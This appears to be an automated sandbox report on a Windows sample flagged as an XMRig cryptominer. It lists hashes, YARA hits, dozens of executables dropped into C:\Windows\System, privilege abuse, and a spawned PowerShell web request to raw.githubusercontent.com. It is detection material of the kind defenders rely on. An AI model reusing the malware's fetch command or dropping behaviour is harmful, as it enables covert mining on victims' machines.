xmrig | fd6fb331ea4f2484befe89cb3842e5b1bca01b7d5a8cbbc6dab35ff95d3f5dd1

Analysis

max time kernel
145s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
12/06/2024, 10:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
Size 2.8MB
Sample240612-mc7psa1cle
SHA256 fd6fb331ea4f2484befe89cb3842e5b1bca01b7d5a8cbbc6dab35ff95d3f5dd1
MD5 32a6e007b7dbd6742c8a74f5ba617440
SHA1 4765a25407c56e7602a19d652671450f420c27da
SHA512 0b47ea7a114689684ae5ec0f5e8a00778ba810a17e0e927f8299052cf120109cbe0c1d334884d050193b02e6742fb19b3b5e1568815fe7f821060ea247cd8b7d
SSDEEP 49152:71G1NtyBwTI3ySZbrkXV1etEKLlWUTOfeiRA2R76zHrWax9hMkHC0IlnASEx/Rix:71ONtyBeSFkXV1etEKLlWUTOfeiRA2Rf
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 64 IoCs

miner

resource	yara_rule
behavioral2/memory/2284-0-0x00007FF7AE070000-0x00007FF7AE466000-memory.dmp	xmrig
behavioral2/files/0x00080000000235ba-5.dat	xmrig
behavioral2/memory/112-8-0x00007FF71A720000-0x00007FF71AB16000-memory.dmp	xmrig
behavioral2/files/0x00070000000235be-11.dat	xmrig
behavioral2/files/0x00070000000235bf-17.dat	xmrig
behavioral2/files/0x00070000000235c0-22.dat	xmrig
behavioral2/files/0x00070000000235c1-28.dat	xmrig
behavioral2/memory/1748-29-0x00007FF7935E0000-0x00007FF7939D6000-memory.dmp	xmrig
behavioral2/files/0x00070000000235c2-38.dat	xmrig
behavioral2/files/0x00070000000235c4-48.dat	xmrig
behavioral2/files/0x00070000000235c6-54.dat	xmrig
behavioral2/files/0x00070000000235cb-83.dat	xmrig
behavioral2/files/0x00070000000235ce-105.dat	xmrig
behavioral2/files/0x00070000000235d0-120.dat	xmrig
behavioral2/files/0x00070000000235d3-135.dat	xmrig
behavioral2/files/0x00070000000235d8-160.dat	xmrig
behavioral2/files/0x00070000000235dd-177.dat	xmrig
behavioral2/memory/3900-757-0x00007FF6CA000000-0x00007FF6CA3F6000-memory.dmp	xmrig
behavioral2/memory/2576-759-0x00007FF7FC140000-0x00007FF7FC536000-memory.dmp	xmrig
behavioral2/files/0x00070000000235db-175.dat	xmrig
behavioral2/files/0x00070000000235dc-172.dat	xmrig
behavioral2/files/0x00070000000235da-170.dat	xmrig
behavioral2/files/0x00070000000235d9-165.dat	xmrig
behavioral2/files/0x00070000000235d7-155.dat	xmrig
behavioral2/files/0x00070000000235d6-150.dat	xmrig
behavioral2/files/0x00070000000235d5-145.dat	xmrig
behavioral2/files/0x00070000000235d4-140.dat	xmrig
behavioral2/files/0x00070000000235d2-130.dat	xmrig
behavioral2/files/0x00070000000235d1-125.dat	xmrig
behavioral2/files/0x00080000000235c9-115.dat	xmrig
behavioral2/files/0x00070000000235cf-110.dat	xmrig
behavioral2/files/0x00070000000235cd-100.dat	xmrig
behavioral2/files/0x00070000000235cc-95.dat	xmrig
behavioral2/files/0x00080000000235ca-90.dat	xmrig
behavioral2/files/0x00070000000235c8-78.dat	xmrig
behavioral2/files/0x00070000000235c7-73.dat	xmrig
behavioral2/files/0x00070000000235c5-52.dat	xmrig
behavioral2/files/0x00070000000235c3-40.dat	xmrig
behavioral2/memory/628-25-0x00007FF7CE6C0000-0x00007FF7CEAB6000-memory.dmp	xmrig
behavioral2/memory/2792-14-0x00007FF6B4090000-0x00007FF6B4486000-memory.dmp	xmrig
behavioral2/memory/5028-780-0x00007FF737D60000-0x00007FF738156000-memory.dmp	xmrig
behavioral2/memory/4056-795-0x00007FF760F70000-0x00007FF761366000-memory.dmp	xmrig
behavioral2/memory/2908-801-0x00007FF773200000-0x00007FF7735F6000-memory.dmp	xmrig
behavioral2/memory/1088-823-0x00007FF605100000-0x00007FF6054F6000-memory.dmp	xmrig
behavioral2/memory/4132-830-0x00007FF6435C0000-0x00007FF6439B6000-memory.dmp	xmrig
behavioral2/memory/1648-827-0x00007FF791540000-0x00007FF791936000-memory.dmp	xmrig
behavioral2/memory/3660-818-0x00007FF684750000-0x00007FF684B46000-memory.dmp	xmrig
behavioral2/memory/1684-813-0x00007FF74DDF0000-0x00007FF74E1E6000-memory.dmp	xmrig
behavioral2/memory/3648-808-0x00007FF7AC8A0000-0x00007FF7ACC96000-memory.dmp	xmrig
behavioral2/memory/4576-805-0x00007FF6F4320000-0x00007FF6F4716000-memory.dmp	xmrig
behavioral2/memory/4516-785-0x00007FF6892E0000-0x00007FF6896D6000-memory.dmp	xmrig
behavioral2/memory/1664-773-0x00007FF7F89F0000-0x00007FF7F8DE6000-memory.dmp	xmrig
behavioral2/memory/1476-845-0x00007FF6F3DD0000-0x00007FF6F41C6000-memory.dmp	xmrig
behavioral2/memory/4820-852-0x00007FF749320000-0x00007FF749716000-memory.dmp	xmrig
behavioral2/memory/4720-849-0x00007FF6851D0000-0x00007FF6855C6000-memory.dmp	xmrig
behavioral2/memory/3964-848-0x00007FF6CB700000-0x00007FF6CBAF6000-memory.dmp	xmrig
behavioral2/memory/1036-838-0x00007FF7ACBE0000-0x00007FF7ACFD6000-memory.dmp	xmrig
behavioral2/memory/4944-834-0x00007FF70B490000-0x00007FF70B886000-memory.dmp	xmrig
behavioral2/memory/112-1871-0x00007FF71A720000-0x00007FF71AB16000-memory.dmp	xmrig
behavioral2/memory/3900-1872-0x00007FF6CA000000-0x00007FF6CA3F6000-memory.dmp	xmrig
behavioral2/memory/2792-1873-0x00007FF6B4090000-0x00007FF6B4486000-memory.dmp	xmrig
behavioral2/memory/112-1874-0x00007FF71A720000-0x00007FF71AB16000-memory.dmp	xmrig
behavioral2/memory/2576-1876-0x00007FF7FC140000-0x00007FF7FC536000-memory.dmp	xmrig
behavioral2/memory/4820-1878-0x00007FF749320000-0x00007FF749716000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
220	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
112	xzEfPVl.exe
2792	ArZOqOQ.exe
628	XnUBepe.exe
1748	jWJLoSJ.exe
3900	ZnsLkWB.exe
4820	CmdBMEY.exe
2576	pFtfpUZ.exe
1664	eqwCJmd.exe
5028	XFZgNVR.exe
4516	VtpPALi.exe
4056	zeJflZR.exe
2908	fpzvqFC.exe
4576	kHBsCoz.exe
3648	pJFSHiz.exe
1684	ebZEMFy.exe
3660	htaFhwc.exe
1088	ZthMdyj.exe
1648	USkdhQz.exe
4132	DYSNzDa.exe
4944	tcQtSNU.exe
1036	tKlHHOl.exe
1476	WHZYgNR.exe
3964	HsEPIuD.exe
4720	ErERTCj.exe
1752	WUrNNZB.exe
2020	OTmFEIA.exe
3280	iIbBxuE.exe
2152	Apztall.exe
5032	GyxIRGv.exe
4008	tGaOyyV.exe
2208	ZkhbmAh.exe
5036	BDGBGAC.exe
4392	FBqNZQJ.exe
1304	dCjcmFJ.exe
2796	NxYMxjy.exe
540	EYCuRgm.exe
4808	VcQDleo.exe
3548	JRpXhul.exe
2468	VFXfdyH.exe
3604	mwNQMBY.exe
4296	NjkWytq.exe
4608	tlkvkzX.exe
4952	VLMcsBL.exe
1288	odnRDOH.exe
4308	pnWtuTH.exe
2836	KtJseeN.exe
4420	nQZAFOv.exe
4992	yHRoubz.exe
3664	bPutsbD.exe
5124	WWObFzl.exe
5160	MAfObJQ.exe
5192	JSpxFVf.exe
5224	hGXEQPJ.exe
5244	GwEVypb.exe
5272	xxVByzz.exe
5296	yDiWCGL.exe
5324	RyLahzd.exe
5352	VJwgqIg.exe
5380	rfFXLaV.exe
5408	Vrgwmvd.exe
5436	IcyRBAs.exe
5464	IAVHmvo.exe
5492	XQTHnWf.exe
5520	Ploqfol.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2284-0-0x00007FF7AE070000-0x00007FF7AE466000-memory.dmp	upx
behavioral2/files/0x00080000000235ba-5.dat	upx
behavioral2/memory/112-8-0x00007FF71A720000-0x00007FF71AB16000-memory.dmp	upx
behavioral2/files/0x00070000000235be-11.dat	upx
behavioral2/files/0x00070000000235bf-17.dat	upx
behavioral2/files/0x00070000000235c0-22.dat	upx
behavioral2/files/0x00070000000235c1-28.dat	upx
behavioral2/memory/1748-29-0x00007FF7935E0000-0x00007FF7939D6000-memory.dmp	upx
behavioral2/files/0x00070000000235c2-38.dat	upx
behavioral2/files/0x00070000000235c4-48.dat	upx
behavioral2/files/0x00070000000235c6-54.dat	upx
behavioral2/files/0x00070000000235cb-83.dat	upx
behavioral2/files/0x00070000000235ce-105.dat	upx
behavioral2/files/0x00070000000235d0-120.dat	upx
behavioral2/files/0x00070000000235d3-135.dat	upx
behavioral2/files/0x00070000000235d8-160.dat	upx
behavioral2/files/0x00070000000235dd-177.dat	upx
behavioral2/memory/3900-757-0x00007FF6CA000000-0x00007FF6CA3F6000-memory.dmp	upx
behavioral2/memory/2576-759-0x00007FF7FC140000-0x00007FF7FC536000-memory.dmp	upx
behavioral2/files/0x00070000000235db-175.dat	upx
behavioral2/files/0x00070000000235dc-172.dat	upx
behavioral2/files/0x00070000000235da-170.dat	upx
behavioral2/files/0x00070000000235d9-165.dat	upx
behavioral2/files/0x00070000000235d7-155.dat	upx
behavioral2/files/0x00070000000235d6-150.dat	upx
behavioral2/files/0x00070000000235d5-145.dat	upx
behavioral2/files/0x00070000000235d4-140.dat	upx
behavioral2/files/0x00070000000235d2-130.dat	upx
behavioral2/files/0x00070000000235d1-125.dat	upx
behavioral2/files/0x00080000000235c9-115.dat	upx
behavioral2/files/0x00070000000235cf-110.dat	upx
behavioral2/files/0x00070000000235cd-100.dat	upx
behavioral2/files/0x00070000000235cc-95.dat	upx
behavioral2/files/0x00080000000235ca-90.dat	upx
behavioral2/files/0x00070000000235c8-78.dat	upx
behavioral2/files/0x00070000000235c7-73.dat	upx
behavioral2/files/0x00070000000235c5-52.dat	upx
behavioral2/files/0x00070000000235c3-40.dat	upx
behavioral2/memory/628-25-0x00007FF7CE6C0000-0x00007FF7CEAB6000-memory.dmp	upx
behavioral2/memory/2792-14-0x00007FF6B4090000-0x00007FF6B4486000-memory.dmp	upx
behavioral2/memory/5028-780-0x00007FF737D60000-0x00007FF738156000-memory.dmp	upx
behavioral2/memory/4056-795-0x00007FF760F70000-0x00007FF761366000-memory.dmp	upx
behavioral2/memory/2908-801-0x00007FF773200000-0x00007FF7735F6000-memory.dmp	upx
behavioral2/memory/1088-823-0x00007FF605100000-0x00007FF6054F6000-memory.dmp	upx
behavioral2/memory/4132-830-0x00007FF6435C0000-0x00007FF6439B6000-memory.dmp	upx
behavioral2/memory/1648-827-0x00007FF791540000-0x00007FF791936000-memory.dmp	upx
behavioral2/memory/3660-818-0x00007FF684750000-0x00007FF684B46000-memory.dmp	upx
behavioral2/memory/1684-813-0x00007FF74DDF0000-0x00007FF74E1E6000-memory.dmp	upx
behavioral2/memory/3648-808-0x00007FF7AC8A0000-0x00007FF7ACC96000-memory.dmp	upx
behavioral2/memory/4576-805-0x00007FF6F4320000-0x00007FF6F4716000-memory.dmp	upx
behavioral2/memory/4516-785-0x00007FF6892E0000-0x00007FF6896D6000-memory.dmp	upx
behavioral2/memory/1664-773-0x00007FF7F89F0000-0x00007FF7F8DE6000-memory.dmp	upx
behavioral2/memory/1476-845-0x00007FF6F3DD0000-0x00007FF6F41C6000-memory.dmp	upx
behavioral2/memory/4820-852-0x00007FF749320000-0x00007FF749716000-memory.dmp	upx
behavioral2/memory/4720-849-0x00007FF6851D0000-0x00007FF6855C6000-memory.dmp	upx
behavioral2/memory/3964-848-0x00007FF6CB700000-0x00007FF6CBAF6000-memory.dmp	upx
behavioral2/memory/1036-838-0x00007FF7ACBE0000-0x00007FF7ACFD6000-memory.dmp	upx
behavioral2/memory/4944-834-0x00007FF70B490000-0x00007FF70B886000-memory.dmp	upx
behavioral2/memory/112-1871-0x00007FF71A720000-0x00007FF71AB16000-memory.dmp	upx
behavioral2/memory/3900-1872-0x00007FF6CA000000-0x00007FF6CA3F6000-memory.dmp	upx
behavioral2/memory/2792-1873-0x00007FF6B4090000-0x00007FF6B4486000-memory.dmp	upx
behavioral2/memory/112-1874-0x00007FF71A720000-0x00007FF71AB16000-memory.dmp	upx
behavioral2/memory/2576-1876-0x00007FF7FC140000-0x00007FF7FC536000-memory.dmp	upx
behavioral2/memory/4820-1878-0x00007FF749320000-0x00007FF749716000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs

Web Service

T1102

flow	ioc
3	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\wLuDAMh.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\vSTdBEo.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\axQxnrw.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\uQPScQB.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\CUXrfZR.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\uNMGhug.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\JXEfpLy.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\uoJVjld.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\QjbEWdf.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\VFXfdyH.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\hGXEQPJ.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\fFoXgAD.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\JlCrdDb.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\nJBJfJI.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\IcyRBAs.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\XkKglXx.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\coeUGqp.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\htaFhwc.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\dFslLAG.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\LwDkkeh.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\NMLDzGZ.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\llPBupn.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\GdgmGxy.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\HLeCBty.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\wJiufgS.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\BDGBGAC.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\KrzzzvP.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\IvyGJEu.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\wQvWJks.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\rSorqoU.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\mAMPzib.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\qwnyqIv.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\TiTgTdb.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\hmxsVQt.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\fQUPPfR.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\wIaWZPy.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\UTqAiKf.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\gdCNtDP.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\sdobXlQ.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\XQTHnWf.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\DBnWkUh.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\ZmcwbTc.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\kFRJieN.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\lcWTfbO.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\kHBsCoz.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\jqfbSzD.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\rjUPxfk.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\OpNlvDZ.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\HsEPIuD.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\XHwrVmH.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\pgTsJeW.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\TBagQKy.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\QHMqILv.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\IqhapGj.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\zTAYSfa.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\BTEkpFx.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\rfFXLaV.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\oVankNl.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\atoQRnX.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\qeDuGvw.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\QqpGoBv.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\qYlmPsJ.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\ZTnCONv.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
File created	C:\Windows\System\ObhAfjl.exe	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
220	powershell.exe
220	powershell.exe
220	powershell.exe
220	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
Token: SeDebugPrivilege	220	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2284 wrote to memory of 220	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	91
PID 2284 wrote to memory of 220	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	91
PID 2284 wrote to memory of 112	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	92
PID 2284 wrote to memory of 112	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	92
PID 2284 wrote to memory of 2792	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	93
PID 2284 wrote to memory of 2792	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	93
PID 2284 wrote to memory of 628	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	94
PID 2284 wrote to memory of 628	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	94
PID 2284 wrote to memory of 1748	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	95
PID 2284 wrote to memory of 1748	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	95
PID 2284 wrote to memory of 3900	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	96
PID 2284 wrote to memory of 3900	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	96
PID 2284 wrote to memory of 4820	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	97
PID 2284 wrote to memory of 4820	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	97
PID 2284 wrote to memory of 2576	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	98
PID 2284 wrote to memory of 2576	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	98
PID 2284 wrote to memory of 1664	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	99
PID 2284 wrote to memory of 1664	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	99
PID 2284 wrote to memory of 5028	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	100
PID 2284 wrote to memory of 5028	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	100
PID 2284 wrote to memory of 4516	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	101
PID 2284 wrote to memory of 4516	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	101
PID 2284 wrote to memory of 4056	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	102
PID 2284 wrote to memory of 4056	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	102
PID 2284 wrote to memory of 2908	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	103
PID 2284 wrote to memory of 2908	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	103
PID 2284 wrote to memory of 4576	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	104
PID 2284 wrote to memory of 4576	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	104
PID 2284 wrote to memory of 3648	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	105
PID 2284 wrote to memory of 3648	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	105
PID 2284 wrote to memory of 1684	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	106
PID 2284 wrote to memory of 1684	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	106
PID 2284 wrote to memory of 3660	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	107
PID 2284 wrote to memory of 3660	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	107
PID 2284 wrote to memory of 1088	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	108
PID 2284 wrote to memory of 1088	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	108
PID 2284 wrote to memory of 1648	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	109
PID 2284 wrote to memory of 1648	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	109
PID 2284 wrote to memory of 4132	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	110
PID 2284 wrote to memory of 4132	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	110
PID 2284 wrote to memory of 4944	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	111
PID 2284 wrote to memory of 4944	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	111
PID 2284 wrote to memory of 1036	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	112
PID 2284 wrote to memory of 1036	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	112
PID 2284 wrote to memory of 1476	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	113
PID 2284 wrote to memory of 1476	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	113
PID 2284 wrote to memory of 3964	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	114
PID 2284 wrote to memory of 3964	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	114
PID 2284 wrote to memory of 4720	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	115
PID 2284 wrote to memory of 4720	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	115
PID 2284 wrote to memory of 1752	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	116
PID 2284 wrote to memory of 1752	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	116
PID 2284 wrote to memory of 2020	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	117
PID 2284 wrote to memory of 2020	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	117
PID 2284 wrote to memory of 3280	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	118
PID 2284 wrote to memory of 3280	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	118
PID 2284 wrote to memory of 2152	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	119
PID 2284 wrote to memory of 2152	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	119
PID 2284 wrote to memory of 5032	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	120
PID 2284 wrote to memory of 5032	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	120
PID 2284 wrote to memory of 4008	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	121
PID 2284 wrote to memory of 4008	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	121
PID 2284 wrote to memory of 2208	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	122
PID 2284 wrote to memory of 2208	2284	32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe	122

C:\Users\Admin\AppData\Local\Temp\32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\32a6e007b7dbd6742c8a74f5ba617440_NeikiAnalytics.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:220
- C:\Windows\System\xzEfPVl.exe
  C:\Windows\System\xzEfPVl.exe
  2⤵
  - Executes dropped EXE
  PID:112
- C:\Windows\System\ArZOqOQ.exe
  C:\Windows\System\ArZOqOQ.exe
  2⤵
  - Executes dropped EXE
  PID:2792
- C:\Windows\System\XnUBepe.exe
  C:\Windows\System\XnUBepe.exe
  2⤵
  - Executes dropped EXE
  PID:628
- C:\Windows\System\jWJLoSJ.exe
  C:\Windows\System\jWJLoSJ.exe
  2⤵
  - Executes dropped EXE
  PID:1748
- C:\Windows\System\ZnsLkWB.exe
  C:\Windows\System\ZnsLkWB.exe
  2⤵
